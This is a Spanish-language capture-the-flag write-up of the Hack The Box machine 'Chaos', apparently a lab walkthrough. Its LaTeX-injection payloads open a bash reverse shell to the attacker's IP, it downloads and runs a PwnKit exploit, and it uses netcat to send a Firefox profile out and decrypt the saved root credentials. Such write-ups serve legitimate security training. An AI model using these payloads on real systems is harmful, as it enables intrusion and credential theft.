Entrada

Chaos

Chaos

Skills

  • Password Guessing
  • Abusing e-mail service (claws-mail)
  • Crypto Challenge (Decrypt Secret Message - AES Encrypted)
  • LaTeX Injection (RCE)
  • Bypassing rbash (Restricted Bash)
  • Extracting Credentials from Firefox Profile
  • PwnKit CVE-2021-4034 Exploitation [Privilege Escalation]

Certificaciones

  • eWPT
  • eJPT

Descripción

Chaos es una máquina de dificultad media que presenta una serie de desafíos a resolver. Requiere una buena cantidad de enumeración del servidor web, así como la enumeración de vhosts, lo cual conduce a un sitio de WordPress que proporciona un archivo con credenciales para un servidor IMAP. La carpeta de drafts contiene información sensible, se necesitan conocimientos criptográficos para descifrarla. La información descifrada lleva a una página que presenta una aplicación vulnerable de LaTeX, lo que permite obtener un acceso inicial. La reutilización de contraseñas facilita conseguir una shell como usuario, pero es una shell restringida, la cual puede eludirse con la ayuda de la web de GTFObins. Escapar de la shell da acceso a la carpeta de Firefox del usuario, que contiene inicios de sesión guardados. Al descifrarlos, se obtiene acceso a una consola de administración web y, finalmente, a la shell de root. Otra alternativa para convertirnos en root sería explotando la vulnerabilidad CVE-2021-4034


Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas linux suele ser 64, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad

1
2
3
4
5
6
7
8
9
# ping -c 3 10.129.139.148
PING 10.129.139.148 (10.129.139.148) 56(84) bytes of data.
64 bytes from 10.129.139.148: icmp_seq=1 ttl=63 time=38.5 ms
64 bytes from 10.129.139.148: icmp_seq=2 ttl=63 time=37.2 ms
64 bytes from 10.129.139.148: icmp_seq=3 ttl=63 time=36.0 ms

--- 10.129.139.148 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 36.027/37.235/38.513/1.016 ms

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# sudo nmap -p- --open --min-rate 5000 -sS -Pn -n -v 10.129.139.148 -oG openPorts 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 08:01 CEST
Initiating SYN Stealth Scan at 08:01
Scanning 10.129.139.148 [65535 ports]
Discovered open port 995/tcp on 10.129.139.148
Discovered open port 110/tcp on 10.129.139.148
Discovered open port 80/tcp on 10.129.139.148
Discovered open port 143/tcp on 10.129.139.148
Discovered open port 993/tcp on 10.129.139.148
Discovered open port 10000/tcp on 10.129.139.148
Completed SYN Stealth Scan at 08:01, 10.69s elapsed (65535 total ports)
Nmap scan report for 10.129.139.148
Host is up (0.048s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE
80/tcp    open  http
110/tcp   open  pop3
143/tcp   open  imap
993/tcp   open  imaps
995/tcp   open  pop3s
10000/tcp open  snet-sensor-mgmt

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 10.79 seconds
           Raw packets sent: 65535 (2.884MB) | Rcvd: 65537 (2.622MB)

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# nmap -sCV -p 80,110,143,993,995,10000 10.129.139.148 -oN services                                                          
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 08:01 CEST
Nmap scan report for 10.129.139.148
Host is up (0.054s latency).

PORT      STATE SERVICE  VERSION
80/tcp    open  http     Apache httpd 2.4.34 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.34 (Ubuntu)
110/tcp   open  pop3     Dovecot pop3d
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after:  2028-10-25T10:01:49
|_pop3-capabilities: TOP AUTH-RESP-CODE SASL PIPELINING CAPA RESP-CODES STLS UIDL
|_ssl-date: TLS randomness does not represent time
143/tcp   open  imap     Dovecot imapd (Ubuntu)
|_imap-capabilities: LOGIN-REFERRALS more ENABLE LOGINDISABLEDA0001 IMAP4rev1 have Pre-login SASL-IR post-login listed ID OK STARTTLS IDLE LITERAL+ capabilities
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after:  2028-10-25T10:01:49
993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
|_imap-capabilities: LOGIN-REFERRALS ENABLE listed IMAP4rev1 more Pre-login SASL-IR have capabilities ID OK post-login IDLE LITERAL+ AUTH=PLAINA0001
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after:  2028-10-25T10:01:49
995/tcp   open  ssl/pop3 Dovecot pop3d
|_pop3-capabilities: TOP AUTH-RESP-CODE SASL(PLAIN) PIPELINING CAPA RESP-CODES USER UIDL
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after:  2028-10-25T10:01:49
10000/tcp open  http     MiniServ 1.890 (Webmin httpd)
|_http-server-header: MiniServ/1.890
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.96 seconds

Agregamos el dominio chaos.htb al archivo /etc/hosts

1
2
3
4
5
6
7
8
127.0.0.1       localhost
127.0.1.1       kali-linux
10.129.139.148  chaos.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Web Enumeration

Si accedemos a http://10.129.139.148/ vemos esto

Si accedemos a http://chaos.htb/, vemos una web diferente a la anterior, lo que indica que estamos ante un virtual hosting

Si accedemos a https://10.129.139.148:10000/ vemos esto

Fuzzeamos y descubrimos el directorio wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# wfuzz -c -t100 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc 404 http://10.129.139.148/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.129.139.148/FUZZ
Total requests: 220559

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                               
=====================================================================

000000001:   200        1 L      5 W        73 Ch       "# directory-list-2.3-medium.txt"                                                                                     
000000003:   200        1 L      5 W        73 Ch       "# Copyright 2007 James Fisher"                                                                                       
000000007:   200        1 L      5 W        73 Ch       "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"                                                     
000000793:   301        9 L      28 W       313 Ch      "wp"                                                                                                                  
000000012:   200        1 L      5 W        73 Ch       "# on at least 2 different hosts"                                                                                     
000001073:   301        9 L      28 W       321 Ch      "javascript"                                                                                                          
000000004:   200        1 L      5 W        73 Ch       "#"                                                                                                                   
000000002:   200        1 L      5 W        73 Ch       "#"                                                                                                                   
000000005:   200        1 L      5 W        73 Ch       "# This work is licensed under the Creative Commons"                                                                  
000000008:   200        1 L      5 W        73 Ch       "# or send a letter to Creative Commons, 171 Second Street,"                                                          
000000006:   200        1 L      5 W        73 Ch       "# Attribution-Share Alike 3.0 License. To view a copy of this"                                                       
000000009:   200        1 L      5 W        73 Ch       "# Suite 300, San Francisco, California, 94105, USA."                                                                 
000000010:   200        1 L      5 W        73 Ch       "#"                                                                                                                   
000000013:   200        1 L      5 W        73 Ch       "#"                                                                                                                   
000000011:   200        1 L      5 W        73 Ch       "# Priority ordered case-sensitive list, where entries were found"                                                    
000000014:   200        1 L      5 W        73 Ch       "http://10.129.139.148/"        

Al acceder a http://10.129.139.148/wp/ nos encontramos con un wordpress

Si accedemos click sobre el wordpress nos lleva a http://wordpress.chaos.htb/

Agregamos el subdominio al /etc/hosts

1
2
3
4
5
6
7
8
127.0.0.1       localhost
127.0.1.1       kali-linux
10.129.139.148  chaos.htb wordpress.chaos.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Si accedemos nuevamente a http://wordpress.chaos.htb/ vemos esto

Me he encontrado este post

Si clickamos sobre la publicación veremos que su autor es human

Si introducimos como contraseña human, podremos visualizar el contenido oculto

He probado las credenciales en el panel de Webmin y en el de WordPress, pero no son válidas, por lo tanto, voy a buscar nuevos subdominios

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# wfuzz -c -t100 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hc 404 --hh 73 -H "Host: FUZZ.chaos.htb" http://chaos.htb   
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://chaos.htb/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                               
=====================================================================

000000005:   200        120 L    386 W      5607 Ch     "webmail"                                                                                                             
000000326:   200        322 L    3642 W     53511 Ch    "wordpress"         

Añadimos el subdominio encontrado al /etc/hosts

1
2
3
4
5
6
7
8
127.0.0.1       localhost
127.0.1.1       kali-linux
10.129.139.148  chaos.htb wordpress.chaos.htb webmail.chaos.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Si accedemos a http://webmail.chaos.htb/, vemos un panel de autenticación de Roundcube en el cual nos logueamos con las credenciales ayush:jiujitsu

La autenticación es correcta y podemos visualizar un mensaje recibido.

Otra forma de conectarnos, si no existiese este subdominio que nos muestra la información a través de la web, sería con Claws Mail.

Introducimos el usuario

Introducimos usuario, contraseña, tipo de servidor y dirección del servidor

Introducimos el nombre del servidor

Si todo ha ido bien, deberíamos poder ver los correos de Ayush

Nos descargamos los dos archivos

Visualizamos el archivo de Python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# cat en.py 
def encrypt(key, filename):
    chunksize = 64*1024
    outputFile = "en" + filename
    filesize = str(os.path.getsize(filename)).zfill(16)
    IV =Random.new().read(16)

    encryptor = AES.new(key, AES.MODE_CBC, IV)

    with open(filename, 'rb') as infile:
        with open(outputFile, 'wb') as outfile:
            outfile.write(filesize.encode('utf-8'))
            outfile.write(IV)

            while True:
                chunk = infile.read(chunksize)

                if len(chunk) == 0:
                    break
                elif len(chunk) % 16 != 0:
                    chunk += b' ' * (16 - (len(chunk) % 16))

                outfile.write(encryptor.encrypt(chunk))

def getKey(password):
            hasher = SHA256.new(password.encode('utf-8'))
            return hasher.digest()

Visualizamos el texto cifrado

1
2
3
# strings enim_msg.txt 
0000000000000234
YDo!

He copiado todo el código del script de Python en Google y he encontrado una coincidencia que me ha llevado a https://github.com/vj0shii/File-Encryption-Script.git, donde hay un script para encriptar y desencriptar. Descargamos el script para desencriptar archivos

1
# wget https://raw.githubusercontent.com/vj0shii/File-Encryption-Script/refs/heads/master/decrypt.py

Instalamos pycrypto, en mi caso he usado el IDE PyCharm con Python 2.7 para facilitar la instalación. Una vez instaladas las dependencias, desencriptamos el archivo encriptado

1
2
3
# python decrypt.py
Enter filename: enim_msg.txt
Enter password: sahay

Desencriptamos el archivo cifrado en base64 y obtenemos este mensaje

1
2
3
4
5
6
7
8
9
10
11
# catnp im_msg.txt | base64 -d
Hii Sahay

Please check our new service which create pdf

p.s - As you told me to encrypt important msg, i did :)

http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3

Thanks,
Ayush

Si accedemos a http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/ vemos esto

Capturamos la petición con Burp Suite y vemos que se está empleando LaTeX para procesar el archivo

Web Exploitation

En https://book.hacktricks.xyz/pentesting-web/formula-csv-doc-latex-ghostscript-injection#latex-injection hay distintos payloads a probar para explotar una Latex Injection. Lo primero es ponernos en escucha por netcat

1
# nc -nlvp 443

Ejecutamos este payload desde Burp Suite. Si la máquina víctima no tuviera netcat, podríamos haber usado el /dev/tcp

1
content=\immediate\write18{whoami+|+nc+10.10.16.28+443}&template=test3

Obtenemos un RCE (Remote Code Execution)

1
2
3
4
# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.28] from (UNKNOWN) [10.129.139.148] 44800
www-data

Usamos este payload

1
content=\immediate\write18{bash+-c+"bash+-i+>%26+/dev/tcp/10.10.16.28/443+0>%261"}&template=test3

Recibimos una reverse shell

1
2
3
4
5
6
7
8
# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.28] from (UNKNOWN) [10.129.139.148] 44864
bash: cannot set terminal process group (1545): Inappropriate ioctl for device
bash: no job control in this shell
www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ whoami
whoami
www-data

Vamos a realizar el tratamiento a la TTY, para ello obtenemos las dimensiones de nuestra pantalla

1
2
# stty size
45 18

Efectuamos el tratamiento a la TTY

1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]

Privilege Escalation (First Method)

Obtenemos el usuario y la contraseña de la base de datos de WordPress

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
www-data@chaos:/var/www/wordpress$ cat wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://codex.wordpress.org/Editing_wp-config.php
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wp');

/** MySQL database username */
define('DB_USER', 'roundcube');

/** MySQL database password */
define('DB_PASSWORD', 'inner[OnCag8');

Nos convertimos en Ayush reutilizando la contraseña jiujitsu, pero nos encontramos en una restricted bash

1
2
3
4
5
6
7
8
www-data@chaos:/var/www/wordpress$ su ayush
Password: 
ayush@chaos:/var/www/wordpress$ whoami
rbash: /usr/lib/command-not-found: restricted: cannot specify `/' in command names
ayush@chaos:/var/www/wordpress$ cd /
rbash: cd: restricted
ayush@chaos:/var/www/wordpress$ echo $SHELL
/opt/rbash

Si pulsamos el tabulador dos veces, nos salen todos los comandos que podemos ejecutar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ayush@chaos:/tmp$ 
!                         caller                    disown                    fc                        let                       select                    type
./                        case                      do                        fg                        local                     set                       typeset
:                         cd                        done                      fi                        logout                    shift                     ulimit
[                         command                   echo                      for                       mapfile                   shopt                     umask
[[                        command_not_found_handle  elif                      function                  ping                      source                    unalias
]]                        compgen                   else                      getopts                   popd                      suspend                   unset
{                         complete                  enable                    hash                      printf                    tar                       until
}                         compopt                   esac                      help                      pushd                     test                      wait
alias                     continue                  eval                      history                   pwd                       then                      while
bg                        coproc                    exec                      if                        read                      time                      
bind                      declare                   exit                      in                        readarray                 times                     
break                     dir                       export                    jobs                      readonly                  trap                      
builtin                   dirs                      false                     kill                      return                    true    

Pasamos de una sh a una bash y también vamos a usar una xterm

1
2
ayush@chaos:/tmp$ export TERM=xterm
ayush@chaos:/tmp$ export SHELL=bash

Imprimimos el PATH de nuestra máquina

1
2
# echo $PATH                     
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:/snap/bin:/home/justice-reaper/.local/bin

Exportamos nuestro PATG a la máquina víctima

1
2
3
$ echo $PATH
/home/ayush/.app
$export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:/snap/bin:/home/justice-reaper/.local/bin

Listamos los privilegios SUID y vemos el binario pkexec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ayush@chaos:/tmp$ find / -perm -4000 2>/dev/null
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/chfn
/usr/bin/traceroute6.iputils
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/at
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/gpasswd
/bin/ntfs-3g
/bin/su
/bin/umount
/bin/fusermount
/bin/ping
/bin/mount

Cuando pkexec es SUID, puede ocurrir una vulnerabilidad que nos permite convertirnos en usuario root. Para explotarla, voy a usar este exploit https://github.com/Almorabea/pkexec-exploit.git. Lo primero que debemos hacer es descargarnos este exploit en nuestro equipo y montarnos un servidor HTTP con Python en su ubicación

1
# python -m http.server 80

Nos descargamos el exploit

1
2
3
4
5
6
7
8
9
10
ayush@chaos:/tmp$  wget http://10.10.16.28/CVE-2021-4034.py
--2024-10-13 09:06:27--  http://10.10.16.28/CVE-2021-4034.py
Connecting to 10.10.16.28:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3068 (3.0K) [text/x-python]
Saving to: ‘CVE-2021-4034.py’

CVE-2021-4034.py                                0%[                                                                                                 ]       0  --.-KB/s         CVE-2021-4034.py                              100%[================================================================================================>]   3.00K  --.-KB/s    in 0.03s   

2024-10-13 09:06:27 (97.3 KB/s) - ‘CVE-2021-4034.py’ saved [3068/3068]

Ejecutamos el exploit

1
2
3
4
5
6
7
8
9
10
ayush@chaos:/tmp$ python3 CVE-2021-4034.py 
Do you want to choose a custom payload? y/n (n use default payload)  n
[+] Cleaning pervious exploiting attempt (if exist)
[+] Creating shared library for exploit code.
[+] Finding a libc library to call execve
[+] Found a library at <CDLL 'libc.so.6', handle 7f91c23a8000 at 0x7f91c19555c0>
[+] Call execve() with chosen payload
[+] Enjoy your root shell
# whoami
root

Privilege Escalation (Second Method)

Listamos los directorios ocultos de /home/ayush

1
2
3
4
5
6
7
8
9
10
11
12
13
ayush@chaos:~$ ls -la
total 40
drwx------ 6 ayush ayush 4096 Oct 13 06:27 .
drwxr-xr-x 4 root  root  4096 Jun 30  2022 ..
drwxr-xr-x 2 root  root  4096 Jun 30  2022 .app
lrwxrwxrwx 1 root  root     9 Jul 12  2022 .bash_history -> /dev/null
-rw-r--r-- 1 ayush ayush  220 Oct 28  2018 .bash_logout
-rwxr-xr-x 1 root  root    22 Oct 28  2018 .bashrc
drwx------ 3 ayush ayush 4096 Oct 13 06:27 .gnupg
drwx------ 3 ayush ayush 4096 Oct 13 07:19 mail
drwx------ 4 ayush ayush 4096 Jun 30  2022 .mozilla
-rw-r--r-- 1 ayush ayush  807 Oct 28  2018 .profile
-rw------- 1 ayush ayush   33 Oct 13 05:58 user.txt

Comprimimos todo el directorio de Firefox en un .zip

1
ayush@chaos:~$ zip -r mozilla.zip .mozilla

Nos ponemos en escucha con netcat

1
# nc -nlvp 1234 > mozilla.zip 

Nos enviamos el .zip al equipo.

1
ayush@chaos:~$ nc -w 3 10.10.16.28 1234 < mozilla.zip

Obtenemos el .zip

1
2
3
# nc -nlvp 1234 > mozilla.zip 
listening on [any] 1234 ...
connect to [10.10.16.28] from (UNKNOWN) [10.129.139.148] 53756

Listamos todo el contenido. Según este artículo https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts#firefox, podemos obtener información sensible que se almacena en el archivo key4.db

1
2
3
4
5
6
7
8
9
10
#pwd
/home/justice-reaper/Desktop/Chaos/content/privesc/.mozilla/firefox/bzo7sjt1.default

# ls
 bookmarkbackups         sessionstore-backups    blocklist-plugins.json   content-prefs.sqlite   kinto.sqlite         pluginreg.dat              SiteSecurityServiceState.txt
 crashes                 storage                 blocklist.xml            cookies.sqlite         logins.json          prefs.js                   storage.sqlite
 datareporting           addons.json             cert9.db                 extensions.ini         mimeTypes.rdf        revocations.txt            times.json
 gmp                     AlternateServices.txt   cert_override.txt        extensions.json        permissions.sqlite   search.json.mozlz4         webappsstore.sqlite
 minidumps               blocklist-addons.json   compatibility.ini        formhistory.sqlite     pkcs11.txt           SecurityPreloadState.txt   xulstore.json
 saved-telemetry-pings   blocklist-gfx.json      containers.json          key4.db                places.sqlite        sessionCheckpoints.json   

Nos descargamos esta herramienta https://github.com/unode/firefox_decrypt.git y nos creamos un fichero con todas las contraseñas que tenemos hasta ahora

1
2
3
4
# cat passwords 
jiujitsu
inner[OnCag8
sahay

Me he creado este script para hacer fuerza bruta

1
2
3
4
5
6
7
8
9
# cat bruteforce.sh 
#!/bin/bash

#./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:"
passfile=$1
while read pass; do
  echo "Trying $pass"
  echo "$pass" | python firefox_decrypt.py /home/justice-reaper/Desktop/Chaos/content/privesc/.mozilla/firefox/bzo7sjt1.default
done < $passfile

Ejecutamos el script de fuerza bruta y la contraseña usada para proteger el archivo era jiujitsu. Ahora tenemos una autenticación contra el servicio Webmin con las credenciales del usuario root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# ./bruteforce.sh passwords 
Trying jiujitsu
2024-10-13 11:44:07,347 - WARNING - profile.ini not found in /home/justice-reaper/Desktop/Chaos/content/privesc/.mozilla/firefox/bzo7sjt1.default
2024-10-13 11:44:07,347 - WARNING - Continuing and assuming '/home/justice-reaper/Desktop/Chaos/content/privesc/.mozilla/firefox/bzo7sjt1.default' is a profile location
Reading Primary password from standard input:

Website:   https://chaos.htb:10000
Username: 'root'
Password: 'Thiv8wrej~'
Trying inner[OnCag8
2024-10-13 11:44:07,421 - WARNING - profile.ini not found in /home/justice-reaper/Desktop/Chaos/content/privesc/.mozilla/firefox/bzo7sjt1.default
2024-10-13 11:44:07,421 - WARNING - Continuing and assuming '/home/justice-reaper/Desktop/Chaos/content/privesc/.mozilla/firefox/bzo7sjt1.default' is a profile location
Reading Primary password from standard input:
2024-10-13 11:44:07,423 - ERROR - Primary password is not correct
Trying sahay
2024-10-13 11:44:07,494 - WARNING - profile.ini not found in /home/justice-reaper/Desktop/Chaos/content/privesc/.mozilla/firefox/bzo7sjt1.default
2024-10-13 11:44:07,494 - WARNING - Continuing and assuming '/home/justice-reaper/Desktop/Chaos/content/privesc/.mozilla/firefox/bzo7sjt1.default' is a profile location
Reading Primary password from standard input:
2024-10-13 11:44:07,496 - ERROR - Primary password is not correct

Nos convertimos en usuario root usando Thiv8wrej~ como contraseña

1
2
3
4
ayush@chaos:~$ su root
Password: 
root@chaos:/home/ayush# whoami
root

También podemos iniciar sesión en https://10.129.139.148:10000/ y pinchar en Command Shell

Esto nos otorgará una consola como root en la web

Esta entrada está licenciada bajo CC BY 4.0 por el autor.